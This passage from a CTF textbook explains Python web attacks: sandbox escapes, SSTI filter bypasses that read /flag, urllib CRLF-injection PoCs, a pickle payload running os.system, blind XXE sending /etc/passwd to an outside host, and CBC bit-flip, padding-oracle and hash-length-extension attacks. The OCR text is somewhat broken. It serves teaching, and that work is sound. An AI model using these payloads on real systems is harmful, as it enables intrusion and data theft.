libraries, keywords, etc. in various ways. For these kinds of challenges, we present
the ideas to bypass them one by one, according to the filtering level from low to high.
216 3 Advanced Web Challenges
Keyword filtering is the simplest form of filtering, such as filtering “ls” or “system”.
python is a dynamic language, which is flexible and easy to bypass. For example.
>>>> import os
>>>> os.system("ls")
>>>> os.system("l" + "s")
>>>> getattr(os, "sys"+"tem")("ls")
>>>> os.__getattribute__("system")("ls")
For strings, we can also add splicing, inverted order, or base64 encoding.
In Python, the most common way to use a specific module is to import it explicitly,
so in many cases import will be filtered as well. However, there are several ways to
import, and you need to try each of them.
>>>> import os
>>>> __import__("os")
<module 'os' from '/usr/local/Cellar/python@2/2.7.15/Frameworks/
Python.framework
/Versions/2.7/lib/python2.7/os.pyc'>
>>>> import importlib
>>>> importlib.import_module("os")
<module 'os' from '/usr/local/Cellar/python@2/2.7.15/Frameworks/
Python.framework
/Versions/2.7/lib/python2.7/os.pyc'>
Alternatively, if you can control Python code and write a Python file with a
specified name in a specified directory, you might be able to override the module to
be called in the sandbox. For example, when we write random. Py in the current
directory and import random in Python, that's our code. Such as:
This is the order in which Python imports modules, and the order in which Python
searches modules can also be viewed with sys.path. If we can control this variable,
we can easily override built-in modules. By modifying this path, we can change
Python’s search order when importing modules, so that we can bypass the sandbox
by finding code in the path we can control first. Such as:
>> sys.path[-1]
'/usr/local/Cellar/protobuf/3.5.1_1/libexec/lib/python2.7/ site-
3.2 Security Issues in Python 217
packages'
>> sys.path.append("/tmp/code")
>> sys.path[-1]
'/tmp/code'
>>>> sys.modules
{'google': <module 'google' (build-in)>, 'copy_reg': <module
'copy_reg' from '/usr/local/
Cellar/python@2/2.7.15/Frameworks/Python.framework/Versions/2.7/
lib/python2.7/
copy_reg.pyc'>, 'sre_compile': <module 'sre_compile' from '/usr/
local/Cellar/python@2/
2.7.15/Frameworks/Python.framework/Versions/2.7/lib/python2.7/
sre_compile.pyc'>...}
>> sys.modules["os"]
<module 'os' from '/usr/local/Cellar/python@2/2.7.15/Frameworks/
Python.framework/Versions
/2.7/lib/python2.7/os.pyc'>
>>>> sys.modules["os"] = None
>>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>>> __import__("os")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
Similarly, setting this value to a controllable module can cause arbitrary code
execution.
If the controllable file is a ZIP file, you can also use zipimport.zipimporter to
achieve the above effect, without further ado.
218 3 Advanced Web Challenges
Functions that can be used without import, such as open and eval, belong to the
global module _ _builtins_ _. so you can try _ _builtins_ _.open( ), etc. If the
function is deleted, you can also use reload( ) to retrieve it. If the function is deleted,
you can also use the reload( ) function to retrieve it.
The eval is a dangerous in any language, and we can try it in Python by dynamically
executing a piece of Python code with exec( ) (Python 2), execfile( ), eval( ),
compile( ), input( ) (Python 2), and so on.
>>>> input()
open("/etc/passwd").read()
'## \n# User Database\n# \n ......"
>>>> eval('open("/etc/passwd").read()')
'## \n# User Database\n# \n# ......"
3.2 Security Issues in Python 219
CTF Python challenges cover injection of a template engine such as Jinja2. These
vulnerabilities are often introduced directly into server-side rendering of relevant
pages without filtering user input. By injecting some specific instruction formats into
the template engine, such as the response for {{1+1}} is a 2, we can tell that the
vulnerability exists in the relevant Web page. Such features are not limited to Web
applications, but also exist in Python native strings.
The following code implemented the login function. Because the input of the user is
not filtered, and is used as part of the argument to call the print function directly,
resulting in the disclosure of the user password.
if passwd ! = userdata["password"]:
print ("Password " + passwd + " is wrong for user %(user)s") % userdata
For example, a user can get the user’s real password by typing “%(password)s”.
The above example can also be rewritten using the format method (just the key
parts) :
>>>> import os
>>>> '{0.system}'.format(os)
'<built-in function system>'
It replaces 0 with a parameter in the format, and then proceeds to get the relevant
properties. This allows us to get sensitive information from the code.
The following quote is from http://lucumr.pocoo.org/2016/12/29/careful-with-
str-format/
220 3 Advanced Web Challenges
CONFIG = {
'SECRET_KEY': 'super secret key'
}
class Event(object):
def __init__(self, id, level, message):
self.id = id
self.level = level
self.message = message
f-strings is a new feature in Python 3.6 that gives strings the ability to retrieve
variables in the current context through the f tag. Such as:
>> a = "Hello"
>>> b = f"{a} World"
>>>> b
'Hello World'
Not only is it restricted to attributes, but code can now be executed as well.
>>>> import os
>> f"{os.system('ls')}"
bin etc lib media proc run srv tmp var
dev home linuxrc mnt root sbin sys usr
'0'
Many Python Web applications involve the use of templates, such as Tornado, Flask,
and Django. Sometimes the server needs to send dynamic data to the client. Instead
of using string concatenation, the template engine dynamically parses the template,
replaces the variables passed into the template engine, and finally presents them to
the user.
SSTI server template injection is caused by code that constructs template files
through unsafe string concatenation and puts too much trust in user input. Most
templating engines don't have a problem with themselves, so the focus of our audit is
to find a template that is constructed through string concatenation, and the user input
can affect the string concatenation process.
Flask is used as an example (like Tornado’s template syntax, where the focus is
only on finding key vulnerabilities). When dealing with sites suspected of having
template injection bugs, look first at functions such as render_* to see if their
parameters are under user control. If the template file name is controllable, for
example:
render_template(request.args.get('template_name'), data)
app = Flask(__name__)
@app.router('/test',methods=['GET', 'POST'])
def test():
template = ''''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
222 3 Advanced Web Challenges
Then pass malicious code directly into the URL, such as “{{self}}”, and it will be
spliced into the template. Since the template will automatically look for the relevant
content in the server’s rendering context when the template is rendered, populating it
into the template leads to the leakage of sensitive information and even the vulner-
ability of executing arbitrary code.
The easiest way to use this is to export the contextual variables with {{variable}},
but a better way is to find a library or function that can be used directly, or to find an
object to execute the arbitrary code by means of inheritance, as mentioned above.
Python’s URllib library (urllib2 in Python 2, urllib in Python 3) has some HTTP
protocol stream injection vulnerabilities. This vulnerability can compromise Intranet
service security if an attacker can control Python code to access arbitrary urls or
allow Python code to access a malicious Web Server.
For such vulnerabilities, we mainly pay attention to whether the Python version
used by the server has corresponding vulnerabilities, and whether the target of the
attack will be affected by SSRF attacks. For example, a Python service downloaded
from a picture is used to attack an unencrypted Redis server deployed on the Intranet.
3.2.4.1 CVE-2016-5699
import sys
import urllib
import urllib.error
import urllib.request
url = sys.argv[1]
try:
info = urllib.request.urlopen(url).info()
print(info)
3.2 Security Issues in Python 223
except urllib.error.URLError as e:
print(e)
Its function is to receive a URL from a command line argument and then access
it. To see the HTTP headers sent during urllib requests, we use the nc command to
listen on the port to see the data received on the port.
nc -l -p 12345
Send a normal request to 127.0.0.1:12345 and you can see that the HTTP
header is:
. /poc.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-
leftover:%20:12345/foo
In contrast to the normal request mode, x-injected: header line is newly added,
thus we can attack Redis or other applications on the Intranet in a way similar to
SSRF's attack.
In addition to targeting IP addresses, the vulnerability also works when using
domain names, but requires inserting a null byte for DNS queries. For
example, URL: http://localhost%0d%0ax-bar:%20:12345/foo will fail to parse,
but URL: http://localhost%00%0d%0ax-bar:%20:12345/foo will parse properly
and send request to 127.0.0.1.
Note that HTTP redirects can also take advantage of this vulnerability, and if the
ATTACKER provides a URL that is a malicious Web Server, the Server can redirect
to another URL, which can also result in protocol injection.
224 3 Advanced Web Challenges
3.2.4.2 CVE-2019-9740
CVE-2019-9740: Python urllib also has a CRLF injection vulnerability that allows
an attacker to perform a CRLF injection attack by controlling the URL parameters.
For example, we can reproduce the above CVE-2016-5699 by modifying the poc of
CVE-2016-5699.
import sys
import urllib
import urllib.error
import urllib.request
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
mandatory. The first item of the tuple's contents is a callable object, and the second
item is the argument when the callable object is called. For example, the payload that
executes os.system("id") at deserialization is generated with the following exp.
When the user has control over the string that needs to be deserialized, passing in
payload can cause some problems. For example, os.system("id") is executed if the
result of the following deserialization is passed directly to pickle.loads().
import pickle
import os
class test(object):
def __reduce__(self):
return os.system, ("id",)
payload = pickle.dumps(test())
print(payload)
# python3: Default Protocol version is 3, not compatible with python 2.
# b'\x80\x03cnt\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq
\x03.''
# python2: Default Protocol version is 0, python 3 can also be used.
# cposix
# system
# p0
# (S'id'
# p1
# tp2
# Rp3
#.
There are many Opcodes in pickle, and through these Opcodes, we can construct
the call stack and implement many other functions. For example, code-Breaking
2018 involves a topic of deserialization. In the deserialization stage, the libraries
available for deserialization are limited, and _ _reduce_ _ can only realize the call of
one function. Therefore, the content of deserialization needs to be written manually
to complete the purpose of bypassing filtering and arbitrary code execution.
no filtering of external entities in the process, which leads to the XXE problem when
the user enters XML.
XXE is XML External Entity injection. External Entity is similar to the role of
“macro” in the Word, the user can predefine an Entity, and then call it multiple times
in a document, or in multiple documents to call the same Entity. XML defines two
types of Entity injections Entity: Ordinary Entity, used in XML document; Entity
parameter, used in DTD file.
The most common way to process XML in Python is the xml library, and we need
to pay attention to the parse method to see if the input XML processes the user input
directly and if the parsing for external entities is disabled or not. However, since
version 3.7.1 of Python, parsing of XML external entities is disabled by default, so it
is important to pay attention to the python version that the code is running on as well.
For specific xml inventory security issues, the reader can consult the official docu-
mentation of the xml library: https://docs.python.org/3/library.xml.html/.
The following code contains two common payloads for XXE attack, one for
reading files and the other for probing the intranet, and then parsing the XML therein
via Python. The code itself does not restrict the external entities, which leads to XXE
vulnerabilities.
# coding=utf-8
import xml.sax
class MyContentHandler(xml.sax.ContentHandler):
def __init__(self):
xml.sax.ContentHandler.__init__(self)
parser = MyContentHandler()
print xml.sax.parseString(x, parser)
print xml.sax.parseString(x1, parser)
Running this code will print out the contents of /etc/passwd and an HTTP request
will be received for 127.0.0.1:8005.
$ nc -l 8005
GET /xml.test HTTP/1.0
Host: 127.0.0.1:8005
User-Agent: Python-urllib/1.17
Accept: */*
In addition to this case, sometimes the source program does not export the XML
data after parsing it, and it is not possible to get the desired content from the returned
result. In this case, we can use Blind XXE as an attack method, again using various
operations on the XML entity, with the attack payload shown below.
<!DOCTYPE updateProfile[!
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://xxx/evil.dtd">
%dtd;
%send;
]>
Get the content of the target file using the file:// or php://filter and send the content
as an HTTP request to the server. Since parameter entities cannot be referenced in
entity definitions, we need to place the nested entity declarations in an external DTD
file, such as eval.dtd shown below.
eval. dtd:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?data=%file; '"
>
% all;
The data can be carried out by establishing a monitor on the server. In some cases,
special characters may exist in the data to be taken out. In this case, CDATA is used
to wrap the data to be taken out. There are a lot of relevant information on the
Internet, so I will not make more introductions here.
228 3 Advanced Web Challenges
3.2.7 sys.audit
In June 2018, Python’s PEP-0578 added an auditing framework that provides testing
frameworks, logging frameworks, and security tools to monitor and limit Python
Runtime behavior.
Python provides access to a variety of underlying functions of many common
operating systems. While this is useful for “write once, run anywhere” scripts, it
makes it difficult to monitor software written in Python. Due to Python’s native
system API, existing monitoring audit tools are either limited in context information
or simply bypassed.
Context constraint means that system monitoring can report that an action has
occurred, but cannot explain the sequence of events that led to that action. For
example, system-level network monitoring can report “listening started on port
5678,” but may not be able to provide process ID, command-line parameters, parent
process, and so on in the program.
Audit bypass is a function that can be done in multiple ways, with some being
monitored and others bypassed. For example, calls to curl are specifically monitored
in the audit system to make HTTP requests, but Python’s URlRetrieve function is not
monitored.
Also, somewhat unique to Python, it is easy to influence the code running in your
application by manipulating the search path of the import system or by placing files
on the path instead of the expected ones. This is often the case when developers
create scripts with the same name as the module they intend to use. For example, a
random.py file that tries to import standard library random, but actually executes the
user’s random.py.
The topic is a Flask Web. The code that reads and retrieves views.py from any file:
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
3.2 Security Issues in Python 229
now = int(time()))
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.router('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}''
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-
8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}''
return jdata.format(field, g.u, mhash)
__init__.py is as follows.
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
Then using the resulting secret_key, we can forge the session and generate a
session that matches the getflag condition.
Getflag’s format can be directly injected with some data, but it needs to pop out of
g.u. The title gives a hint: for convenience, the user is given a save method, so use
__globals__ pop out to get the flag, see Fig. 3.32 for the payload.
After logging in to fake JWT, it was a message function and found that the input was
printed on the page exactly as it was supposed to be an SSTI. After testing, we found
that a lot of keywords are filtered, such as “'” “” “OS”“ _” “{{”, etc. Whenever these
keywords appear, we print None directly. Although filtering “{{”, but you can use“
{% ”, such as “{% if 1%} 1 {% endif %}” prints “1”.
We need to think about what we need to get around. First when “__” filtered, “[]”
can be used in combination with the parameters in the request to get around, such as
using “{% if ()[request.args.a]%}”, in the URL “/bbs?a¼_ _class_ _”. Now a
payload for reading arbitrary file is constructed as follows
GET
a=__class__&b=__base__&c=__subclasses___&d=pop&e=/flag
POST
{%if ()[request.args.a][request.args.b][request.args.c]()[request.
args.d](40)
(request.args.e).read()[0:1]==chr(102) %}~mmm~{%endif%}
But 500 errors are raised, so consider that there is no chr function. Then, as usual,
get the chr function.
GET
a=__class__&b=__base__&c=__subclasses__&d=pop&e=/
flag&a1=__init__&a2=__globals__&a3=__builtins__
POST
{%set chr=()[request.args.a][request.args.b][request.args.c]()[59]
[request.args.a1]
[request.args.a2][request.args.a3].chr %}
A blind injection can then be performed using a script, as shown in Fig. 3.33.
In addition to blind injection, there is another way to print plain text directly,
using the print in jinja2, see Fig. 3.34. The result is in Fig. 3.35.
Challenges that combine cryptography and the Web often contain obvious hints,
such as ENCRYPT, DECRYPT, etc., in the keywords of the challenge, or even give
the relevant code directly to the participant for analysis.
Block encryption is the process of dividing a very long string into several fixed-
length (block-length) strings, encrypting each piece of plaintext with a key of equal
length to the block length, and then stitching the encrypted results together to get the
encrypted result. Of course, in the grouping process, the length of the blocks may not
be an integer multiple of the grouping length, so we need to fill the blocks to make
the length of plaintext is an integer multiple of the grouping length. The process of
padding is just enough to help us identify the block encryption.
In block encryption, the plaintext is divided into blocks of equal length during the
encryption process. As the length of the plaintext increases, the length of the
ciphertext may remain the same, or it may increase by a fixed length at a time, and
this increased length is the length of the key used in block encryption. The two
common encryption algorithms used in this topic are AES and DES. Among them,
DES has a fixed block length of 64 bits, while AES has AES-128, AES-192, and
AES-256. From this, it is possible to determine which algorithm is used for encryp-
tion, and then, based on the information provided by the challenge, to blast the key,
or to forge the secret message with other attack methods.
There are six modes of block encryption: ECB, CBC, CFB, PCBC, OFB, and
CTR. The difference between the encryption of each mode can be referred to the
cryptography section.
The workflow diagram of the ECB (Electronic Code Book) model is shown in
Figs. 3.36 and 3.37.
In the encryption process, the message to be encrypted is divided into several
blocks according to the size of the group, and then several blocks of plaintext are
encrypted separately using the key, and the encryption results are spliced together to
obtain the secret message. The decryption process is similar. The biggest problem
with this encryption method is that the same key is used to encrypt all the blocks, and
if the plaintexts are the same, the resulting secret message is the same. Therefore, in
234 3 Advanced Web Challenges
Fig. 3.36 The workflow diagram of the ECB (Electronic Code Book) model
Fig. 3.37 The workflow diagram of the ECB (Electronic Code Book) model
this encryption method of ECB, we only need to focus on a certain set of known and
controllable plaintexts and their corresponding encryption results to attack the rest of
the encrypted blocks.
Here is an example of HITCON 2018 Oh My Reddit. The title code can be found
at https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-
2018/oh-my-raddit/src.
According to the hint, flag is hitcon{ENCRYPTION_KEY}, and we know that it
is a combination of password and Web; looking at the hint interface, it says:
assert ENCRYPTION_KEY.islower()
<a href="?s=4b596c43212b27b7c948390491293dd24f6f5f3b635ddb984
c1c23f162d392ccf900061d8b633877
1d8feb029243ed633882b1034e8789849136472bd93ffe
2dfd8017786de53c1785a67bbbcecad1c78b096aa66
c3ff957aaa3bb913d35c75f">Bypassing Web Cache Poisoning
Countermeasures</a>
<a href="?s=b0b7a350f4a4f27848b204d056b25fb0f785e
6357390b3bc73bbbbffc6bf5071b47143690fe718f2
1d8feb029243ed633882b1034e878984233b2d964a4138bbfe
4bcb8834342001d2446e0f6d464355833f3b6c3
9beee1bfd5d3bce98966870">Bypassing WAFs and cracking XOR with
Hackvertor</a>
It can be assumed that the mode used for encryption is ECB mode (since the same
string is encrypted with the same result if both the beginning and the end are
different). Then, based on what we now know.
• The length of the key is 64 bit, 8 characters, possibly DES encrypted.
• All characters in the key are lowercase characters.
• The encryption result for one of the 8 characters in “Bypassing W” may be
“3882b1034e878984”.
We can try to blast the key. Since the 388... .984 string appears later, we should also
use the 8-bit window to blast “Bypassing W” as the plaintext, i.e., according to
“assing+W”, “passing+” (using “+” is because the title might be url encoded) in the
order to attempt.
We use the hashcat tool.
# b'm=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf \x08
\x08\x08\x08\x08\x08\x08\x08\x08''
plaintext = b'm=d&f=app.py'
padding = abs(8-(len(plaintext)%8)))
plaintext = plaintext + bytes([padding]) * padding
print(plaintext)
# b'm=d&f=app.py \x04\x04\x04\x04''
print(binascii.hexlify(cipher.encrypt(plaintext)))
# b'e2272b36277c708bc21066647bc214b8'
If the decryption was successful and the content makes sense, you can assume
that the key is correct. However, after we submit the flag in the format, we get an
error.
Look again at the title, there is a link related to file download, by analyzing this
link, we can find an arbitrary file download vulnerability.
Download app.py to analyze it and finally get the key.
$ curl http://localhost:8080/?s=e2272b36277c708bc21066647bc214b8
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES
web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'
a xor b xor a = b
a xor 0 = a
The direct involvement of IVs and chunks in the heterogeneity decryption process
leads to two common attacks on the questioning process: affecting the first plaintext
grouping via IVs, and affecting the n+1th plaintext grouping via the nth secret
chunk.
3.3 Cryptography and Reverse Knowledge 237
Fig. 3.38 The workflow diagram of the CBC (Cipher Block Chaining) model (from Wikipedia)
Fig. 3.39 The workflow diagram of the CBC (Cipher Block Chaining) model (from Wikipedia)
If you want to modify the decryption results of a certain group, you only need to
know what the original plaintext was, what you want to modify, and what was
passed backward from the previous group (or IV in the case of the first group).
Here is an example of PicoCTF 2018's Secure Logon topic, which provides the
server-side code:https://github.com/shiltemann/CTF-writeups-public/blob/master/
PicoCTF_2018/writeupfiles/server_noflag.py. Under the /flag route, the flag is
displayed to the page only if the AES-encrypted JSON string stored in the cookie
is fetched and the admin field is 1.
@app.route('/flag', methods=['GET'])
def flag():
try:
238 3 Advanced Web Challenges
encrypted = request.cookies['cookie']
except KeyError:
flash("Error: Please log-in again.")
return redirect(url_for('main'))
data = AESCipher(app.secret_key).decrypt(encrypted)
data = json.loads(data)
try:
check = data['admin']
except KeyError:
check = 0
if check == 1:
return_template('flag.html', value=flag_value)
flash("Success: You logged in! Not sure you'll be able to see the flag
though.", "success")
return_template('not-flag.html', cookie=data)
cookie = {}
cookie['password'] = request.form['password']
cookie['username'] = request.form['user']
cookie['admin'] = 0
print(cookie)
cookie_data = json.dumps(cookie, sort_keys=True)
encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
print(encrypted)
resp.set_cookie('cookie', encrypted)
return resp
class AESCipher:
""""
Usage:
c = AESCipher('password').encrypt('message')
m = AESCipher('password').decrypt(c)
Tested under Python 3 and PyCrypto 2.6.1.
""""
From the analysis of the login function and AESCipher, we know that: the
AES-128-CBC encryption algorithm is used; the content of the cookie is base64
(iv, data); data is the result of json.dumps(cookie); the cookie contains {“admin”:
0, “username”: “something”, “password”: “something”}, and sorted by key alpha-
betical order.
In order to reach admin as 1, we need to perform a CBC bit-flip attack.
According to the result of json.dumps, the character to be modified is at the 11th
digit of the entire encrypted string, changing it from 0 to 1.
import json
data = {"admin": 0, "username": "something", "password": "something"}
print(json.dumps(data, sort_keys=True))
# {"admin": 0, "password": "something", "username": "something"}
Based on the group length of 16, we can tell that the character to be flipped is in
the 11th position of the first group.
According to the formula, we start the flip attack. The required IV is already
stored in the first 16 bits of the base64 decryption result in the cookie. Then, all the
information we need is satisfied and we start writing the program to flip.
Replace the flipped cookie with a new one to successfully get the flag.
that the conversion of Markdown uses pandoc, which may be vulnerable to com-
mand injection. After completing the input, the server returns a string of cookies.
vals=4740dc0fb13fe473e540ac958fce3a51710fa8170a3759c7f28afd6b43f
7b4ba6a01b23da63768c1f6e
82ee6b98f47f6e40f6c16dc0c202f5b5c5ed99113cc629d16e13c5279ab
121cbe08ec83600221
Fig. 3.43 There is a correspondence between the information returned by the server and the
plaintext
Fig. 3.44 He process of encrypting and decrypting the last group in the CBC schema
encryption mode is 128-CBC mode. Based on this content, we can attempt a Padding
Oracle attack to recover the plaintext. Since an IV is required for decryption in CBC
mode, and the server returns us only one vals, we can start by assuming that the first
grouping is the IV and the subsequent information is the encryption result.
In this scenario, based on the application’s prompts, we can determine if an
encrypted string is padded correctly, so we can perform a Padding Oracle attack
on the application.
In this case, then, we can assume that there is a correspondence between the
information returned by the server and the plaintext, as shown in Fig. 3.43.
Since we don’t know what the plaintext is, it is replaced by '?' in place of the
plaintext. However, it is not difficult to assume that the last block must contain a
legal padding.
The process of encrypting and decrypting the Llast group in the CBC schema is
shown in Figs. 3.44 and 3.45, with the symbol representing for xor.
After understanding how strings are decrypted in CBC and the rules of Padding,
we can use Padding Oracle to recover the encrypted plaintext for this challenge. As
for the principle, let’s take one of the encrypted blocks as an example.
3.3 Cryptography and Reverse Knowledge 243
Fig. 3.45 He process of encrypting and decrypting the last group in the CBC schema
Select the first block and note that the first block has the number of operations IV
when performing an xor operation, and the subsequent blocks have the number of
operations IV when performing an xor operation. For the convenience of operation,
only one cryptographic block will be cracked. When cracking, set the IV to all 0 first.
By setting the cookie to
vals=000000000000000000000000000000000000710fa8170a3759c7f28
afd6b43f7b4ba
The server returns ValueError: Invalid padding bytes, because after using 0 as IV
for decryption, the padding contained in the decryption result is wrong, which causes
a padding exception during the decryption process, see Fig. 3.46.
By varying the IV, the bytes of the final decryption result are varied so that when
IV+1, i.e. when the cookie is
vals=00000000000000000000000000000001710fa8170a3759c7f28
afd6b43f7b4ba
The 500 error is still returned, but the results of the plaintext decrypted by the
server have changed, as shown in Fig. 3.47.
244 3 Advanced Web Challenges
Fig. 3.47 The results of the plaintext decrypted by the server have changed
Due to the IV change, the final string changes to 0x3C when the server finishes
decrypting. This is repeated until the last 1 byte of the decrypted plaintext is 0x01
and the contents of the cookie are as follows
vals=00000000000000000000000000000072710fa8170a3759c7f28a
fd6b43f7b4ba
That is, the content of the intermediate value after decrypting the first secret block
is 0x73.
3.3 Cryptography and Reverse Knowledge 245
In the normal decryption process, this character performs an xor operation with a
character in the same position in the original IV, and the value after the operation is
the final decryption result. So 0x73 xor 0x51 ¼ 0x22 (hex decoded as '"'), which is
the value of the original plaintext string.
Now we know the intermediate result of the last 1 byte after decryption. By
modifying the IV, we can make the final result of the last 1 byte after decoding an
asymptote 0x02, and then the server will return the 500 error again because the
decryption result of the penultimate character does not satisfy the Padding rule (see
Fig. 3.49).
Then, still modifying the IV step by step so that the final decryption result is 0x02,
when filled correctly (see Fig. 3.50), the cookie looks like this
vals=000000000000000000000000000000005671710fa8170a3759c7f28af
d6b43f7b4ba
At this point, Fig. 3.50 renders the penultimate digit according to a similar
calculation process.
246 3 Advanced Web Challenges
This is repeated until the length of the fill string is the length of the entire block, at
which point we can restore the entire contents of the first block, see Fig. 3.51.
According to the decryption rule of CBC mode, the intermediate result is not
affected by the IV in the decryption process. At this point, the second block is
directly spliced into the IV sequence of zero, and then follow the similar procedure,
but when the plaintext is obtained, the value of the corresponding position of the
previous block needs to be dissimilar, so that the decryption of the second block can
be completed. This is repeated, and finally the entire plaintext is recovered.
According to the principle of CBC mode encryption and decryption in Part II,
when the plaintext, secret, target plaintext, and IV are known, we can construct any
string. Which means we can change
3.3 Cryptography and Reverse Knowledge 247
into
In the process of modification, you need to forge from the last ciphertext block. In
forgery, the decrypted contents of the previous ciphertext block will also change.
Due to the existence of the Padding Oracle, we can obtain the intermediate results of
decryption of the modified ciphertext block, and then move forward in turn to
complete the forgery of any string.
Principle is introduction, but in order to solve a challenge quick enough, you can
use tools provided by https://github.com/pspaul/padding-oracle. With the help of it,
you only need to modify a small piece of code to implement all the features.
The code for this challenge is as follows:
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert',
headers=headers)
response = r.content
o = PaddingOracle(oracle, max_retries=-1)
cipher =
'4740dc0fb13fe473e540ac958fce3a51710fa8170a3759c7f28afd6b43
f7b4ba6a01b23da63768
c1f6e82ee6b98f47f6e40f6c16dc0c202f5b5c5ed99113cc
629d16e13c5279ab121cbe08ec83600221'
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
print('Plaintext: {}'.format(plain))
8c1f6e82ee6b98f47f6e40f6c16dc0c202f5b5c5ed99113cc629d16e13c5279ab
121cbe08ec83600221
248 3 Advanced Web Challenges
In the Web, cryptography is used in addition to encryption and signature. When the
server generates a credential that needs to be saved in the client, the correct use of
hash function can ensure that the sensitive information forged by the user will not
pass the verification of the server and affect the normal operation of the system.
Many Hash functions adopt merkle-Damgard structure, such as MD5, SHA1,
SHA256, etc. In the case of incorrect use, these Hash algorithms will be affected
by Hash Length Extension (HLE).
First, HLE applies for Hash(secret+message) encryption. Although we do not
know the content of secret, we can still splice the constructed payload after the
message and send it to the server to bypass the verification. To understand this
attack, we need to understand Hash algorithms. Here, take SHA1 as an example.
There are three steps we need to pay attention to when encrypting (see the cryptog-
raphy section for specific algorithms):
(1) Information processing
In SHA1 algorithm, the algorithm will process the input information as a group of
512 bits. In this case, there may be less than 512 bits, so we need to fill the original
information. To populate, a 1 is inserted at the end of the array, followed by zeroes
until the entire message length satisfies Length (Message +padding) % 512 ¼ 448. It
is 448 because we need to add the length of the message at the end of the message,
and the 64 bits plus the previous 448 bits make a 512 bit grouping.
(2) Complementary length
In the MD algorithm, the last group is used to fill in the length, which is why the
SHA1 algorithm can handle messages that are no longer than 2^64 bits long.
(3) Calculating the hash
When calculating the message digest, 512 bits are removed from the message after
the complement is completed and hashed. There are five initial variables A ¼
0x67452301, B ¼ 0xEFCDAB89, C ¼ 0x98BADCFE, D ¼ 0x10325476, and E
¼ 0xC3D2E1F0, which are used to participate in the first round of calculations.
After the first round of calculations, A, B, C, D, and E will be updated to the result of
the hash function after the current round of calculations according to certain rules. In
other words, after each round of calculation, the result is used as the initial value for
the next round. The process is repeated until the calculation of all the information is
completed, and the result of the hash calculation is output, i.e., the SHA1 value.
For the hash(secret+message) method, the server sends the result of the Hash
(secret+message+original fill+original length) to the client. Now, we only need to
guess the length of secret, complete the process of padding, and then we can get the
intermediate result of a certain round of calculation of the Hash function without
knowing the secret, i.e., when the Hash (secret+message+original fill+original
length+payload) operation is performed, it just happens to finish the processing of
3.3 Cryptography and Reverse Knowledge 249
any group before the payload. Since the intermediate result in subsequent operations
is not affected by the information in the previous group, it is possible to add any
payload to the end of the original information, while ensuring that the results of the
hash are correct.
Let’s take Extends Me in Backdoor CTF 2017 as an example, for which the
corresponding source code is provided in the title (https://github. com/jbzteam/CTF/
tree/master/BackdoorCTF2017).
...
username = str(request.form.get('username'))
if request.cookies.get('data') and request.cookies.get('user'):
data = str(request.cookies.get('data')).decode('base64').strip()
user = str(request.cookies.get('user')).decode('base64').strip()
temp = '|'.join([key,username,user])
if data ! = SLHA1(temp).digest():
temp = SLHA1(temp).digest().encode('base64').strip().replace
('\n','')
resp = make_response(render_template('welcome_new.html', name =
username))
resp.set_cookie('user','user'.encode('base64').strip())
resp.set_cookie('data',temp)
return resp
else:
if 'admin' in user: # too lazy to check properly :p
return "Here you go : CTF{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
else:
return render_template('welcome_back.html',name = username)
...
In the login function, username is passed in by post, and the values of data and
user are passed in the cookie. Where data is the result of SLHA1(key | username |
user). In this signature process, key is an unknown parameter, username is control-
lable, and user is controllable. Flag is returned only if the contents of data are the
same as the result of SLHA1 signature.
Looking at the SLHA1 function, we can find that it is a hash algorithm similar to
the SHA1 algorithm, but with modified padding and init variables so that the SLHA1
algorithm is also threatened by HLE.
...
def __init__(self, arg=''):
# Modified initial link variables
self._h = [0x67452301,
0xEFCDA189,
0x98BADCFE,
0x10365476,
0xC3F2E1F0,
0x6A756A7A]
...
def _produce_digest(self):
250 3 Advanced Web Challenges
message = self._unprocessed
message_byte_length = self._message_byte_length + len(message)
